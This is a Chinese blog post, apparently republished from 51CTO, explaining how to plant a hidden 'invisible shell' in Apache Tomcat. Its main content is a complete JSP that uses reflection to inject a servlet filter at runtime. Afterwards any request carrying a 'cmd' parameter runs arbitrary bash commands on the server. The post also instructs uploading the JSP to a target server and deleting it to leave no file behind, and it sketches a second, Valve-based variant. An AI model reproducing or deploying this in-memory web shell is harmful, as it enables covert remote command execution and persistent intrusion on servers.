Tomcat源代码调试:看不见的Shell第一式

简介:

抱着隐藏 shell 的目的去调试的 tomcat 的代码。我调试了tomcat 从接收到一个socket 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程,找到了两个较为容易实现的方法(肯定还有其它的方法),这里记录一其中一个。另一个也很类似所以只记录一下思路。

1. 运行时动态插入过滤器

过滤器的基础概念以及作用这里不写了。

Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:

 
  1. FilterRegistration.Dynamic addFilter(String filterName,String className)  
  2. FilterRegistration.Dynamic addFilter(String filterName,Filter filter)  
  3. FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)  

这三个方法使得我们可以在运行时动态地添加过滤器。

Tomcat 对 ServletContext 接口的实现类为:org.apache.catalina.core.ApplicationContextFacade

但是并没有简单到直接调用一下这可以实现,因为 Tomcat 在对这个接口的实现中,是只允许在容器还没有初始化完成的时候调用这几个方法。一旦容器初始化已经结束,调用时就会出现异常:

我看了一下这个 if 之后的语句,并不是太复杂,这使得我们完全可以自己用代码来执行后面的逻辑。写的过程也没有太顺利,我完全复制了后面的逻辑,但是动态插入过滤器却没有生效。所以去重新调试了一遍tomcat 接收处理请求的全过程,发现为请求组装filterChain 是在 StandardWrapperValve 里面进行的:

真正的组装方法位于:

 
  1. org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 

代码太长不截图了,有兴趣的可以自己去看。

组装完成后开始调用过滤器链。

我将 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 方法内的细节与自己写的插入过滤器的细节做了对比,得出下面这个可以在Tomcat 8 (Tomcat 7 上的话需要小改一下)下实现我想要的目的 Jsp文件。直接看代码吧:

 
  1. <%@ page language="java" contentType="text/html; charset=UTF-8" 
  2.     pageEncoding="UTF-8"%> 
  3. <%@ page import="java.io.IOException"%> 
  4. <%@ page import="javax.servlet.DispatcherType"%> 
  5. <%@ page import="javax.servlet.Filter"%> 
  6. <%@ page import="javax.servlet.FilterChain"%> 
  7. <%@ page import="javax.servlet.FilterConfig"%> 
  8. <%@ page import="javax.servlet.FilterRegistration"%> 
  9. <%@ page import="javax.servlet.ServletContext"%> 
  10. <%@ page import="javax.servlet.ServletException"%> 
  11. <%@ page import="javax.servlet.ServletRequest"%> 
  12. <%@ page import="javax.servlet.ServletResponse"%> 
  13. <%@ page import="javax.servlet.annotation.WebServlet"%> 
  14. <%@ page import="javax.servlet.http.HttpServlet"%> 
  15. <%@ page import="javax.servlet.http.HttpServletRequest"%> 
  16. <%@ page import="javax.servlet.http.HttpServletResponse"%> 
  17. <%@ page import="org.apache.catalina.core.ApplicationContext"%> 
  18. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%> 
  19. <%@ page import="org.apache.catalina.core.StandardContext"%> 
  20. <%@ page import="org.apache.tomcat.util.descriptor.web.*"%> 
  21. <%@ page import="org.apache.catalina.Context"%> 
  22. <%@ page import="java.lang.reflect.*"%> 
  23. <%@ page import="java.util.EnumSet"%> 
  24. <%@ page import="java.util.Map"%> 
  25.  
  26.  
  27. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
  28. <html> 
  29. <head> 
  30. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
  31. <title>Insert title here</title> 
  32. </head> 
  33. <body> 
  34. <
  35. final String name = "n1ntyfilter"
  36.  
  37. ServletContext ctx = request.getSession().getServletContext(); 
  38. Field f = ctx.getClass().getDeclaredField("context"); 
  39. f.setAccessible(true); 
  40. ApplicationContext appCtx = (ApplicationContext)f.get(ctx); 
  41.  
  42. f = appCtx.getClass().getDeclaredField("context"); 
  43. f.setAccessible(true); 
  44. StandardContext standardCtx = (StandardContext)f.get(appCtx); 
  45.  
  46.  
  47. f = standardCtx.getClass().getDeclaredField("filterConfigs"); 
  48. f.setAccessible(true); 
  49. Map filterConfigs = (Map)f.get(standardCtx); 
  50.  
  51. if (filterConfigs.get(name) == null) { 
  52.    out.println("inject "+ name); 
  53.     
  54.    Filter filter = new Filter() { 
  55.       @Override 
  56.       public void init(FilterConfig arg0) throws ServletException { 
  57.          // TODO Auto-generated method stub 
  58.       } 
  59.        
  60.       @Override 
  61.       public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) 
  62.             throws IOException, ServletException { 
  63.          // TODO Auto-generated method stub 
  64.          HttpServletRequest req = (HttpServletRequest)arg0; 
  65.          if (req.getParameter("cmd") != null) { 
  66.             byte[] data = new byte[1024]; 
  67.             Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start(); 
  68.             int len = p.getInputStream().read(data); 
  69.             p.destroy(); 
  70.             arg1.getWriter().write(new String(data, 0, len)); 
  71.             return; 
  72.          }  
  73.          arg2.doFilter(arg0, arg1); 
  74.       } 
  75.        
  76.       @Override 
  77.       public void destroy() { 
  78.          // TODO Auto-generated method stub 
  79.       } 
  80.    }; 
  81.     
  82.    FilterDef filterDef = new FilterDef(); 
  83.     filterDef.setFilterName(name); 
  84.     filterDef.setFilterClass(filter.getClass().getName()); 
  85.     filterDef.setFilter(filter); 
  86.      
  87.     standardCtx.addFilterDef(filterDef); 
  88.     
  89.    FilterMap m = new FilterMap(); 
  90.    m.setFilterName(filterDef.getFilterName()); 
  91.    m.setDispatcher(DispatcherType.REQUEST.name()); 
  92.    m.addURLPattern("/*"); 
  93.     
  94.     
  95.    standardCtx.addFilterMapBefore(m); 
  96.     
  97.     
  98.    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 
  99.    constructor.setAccessible(true); 
  100.    FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); 
  101.     
  102.     
  103.     filterConfigs.put(name, filterConfig); 
  104.      
  105.     out.println("injected"); 
  106. %> 
  107. </body> 
  108. </html> 

将以上 JSP 文件上传至目标服务器命名为 n1ntyfilter.jsp,访问后如果看到“injected” 字样,说明我们的过滤器已经插入成功,随后可以将此 jsp 文件删掉。随后,任何带有 cmd 参数的请求都会被此过滤器拦下来,并执行 shell 命令,达到“看不见的 shell”的效果。

2. 动态插入 Valve

Valve 是 Tomcat 中的用于对Container 组件(Engine/Host/Context/Wrapper)进行扩展一种机制。通常是多个Valve组装在一起放在Pipeline 里面。Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的。如果你熟悉 Struts2 中的拦截器机制,那么你会很容易理解valve + pipeline 的动作方式。Pipeline 就相当于拦截器链,而valve就相当于拦截器。

Valve 接口定义了如下的 invoke 方法:

 
  1. publicvoid invoke(Request request, Response response) 
  2.     throws IOException, ServletException; 

我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的pipeline 中插入一个我们自定义的 valve,在其中对相应的请求进行拦截并执行我们想要的功能,就可以达到与上面Filter 的方式一样的效果。而且 filter 只对当前context 生效,而valve 如果插到最顶层的container 也就是 Engine,则会对 Engine 下的所有的context 生效。

以上两种方式,利用的时候都必须是通过 HTTP 的方式去真正地发起一个请求,因为在这些流程之前,Tomcat会检查接收自socket的前几个字节是不是符合HTTP 协议的要求,虽然被请求的文件可以不存在。如果想利用非HTTP 协议,则需要在tomcat 的Connector 上做手脚,这个复杂度就比以上两种方式要高很多了。

以上两种方式都会在 Tomcat 重启后失效。


本文作者:n1nty

来源:51CTO

相关文章
|
6月前
|
Shell Linux
Linux Shell脚本调试方法
Linux Shell脚本调试方法
|
6月前
|
运维 Shell
运维(15)-shell脚本的调试方法
运维(15)-shell脚本的调试方法
45 0
|
14天前
|
Kubernetes Shell Linux
linux|shell脚本|有趣的知识---格式化输出日志和脚本调试方法以及kubernetes集群核心服务重启和集群证书备份脚本
linux|shell脚本|有趣的知识---格式化输出日志和脚本调试方法以及kubernetes集群核心服务重启和集群证书备份脚本
91 0
|
14天前
|
运维 Java 应用服务中间件
Tomcat安装shell脚本
Tomcat安装shell脚本
35 7
|
8月前
|
Shell Linux
Linux下Shell脚本的调试
这篇博文是对Debugging Shell Scripts in Linux的翻译,希望能帮助到在Linux下写Shell脚本的童鞋。 大多数编程语言都有可用的调试工具,调试工具可用在执行程序或脚本的时候让你检查其内部是如何进行的。对于Shell脚本,我们没有任何可用的调试工具,唯一有的是通过命令行的标识(-n,-v和-x)来辅助我们调试脚本。
67 0
|
8月前
|
Shell 开发工具
关于 SAP Spartacus Shell App 客户应用的调试
关于 SAP Spartacus Shell App 客户应用的调试
34 0
|
Shell Linux 开发工具
在 Shell 脚本中跟踪调试命令的执行
在 Shell 脚本中跟踪调试命令的执行
134 0
|
Java 应用服务中间件 Apache
一招教你如何减少本地调试tomcat重启次数,亲测有效
一招教你如何减少本地调试tomcat重启次数,亲测有效
|
Java 应用服务中间件 Shell
通过shell的&命令执行“./startup.sh & tail -f ../logs/catalina.out”时造成tomcat的所属的jvm关闭并且对于的服务挂掉了
通过shell的&命令执行“./startup.sh & tail -f ../logs/catalina.out”时造成tomcat的所属的jvm关闭并且对于的服务挂掉了
201 0
通过shell的&命令执行“./startup.sh & tail -f ../logs/catalina.out”时造成tomcat的所属的jvm关闭并且对于的服务挂掉了
|
NoSQL IDE Shell
【Linux】【Shell】常用调试手段一览
【Linux】【Shell】常用调试手段一览
258 0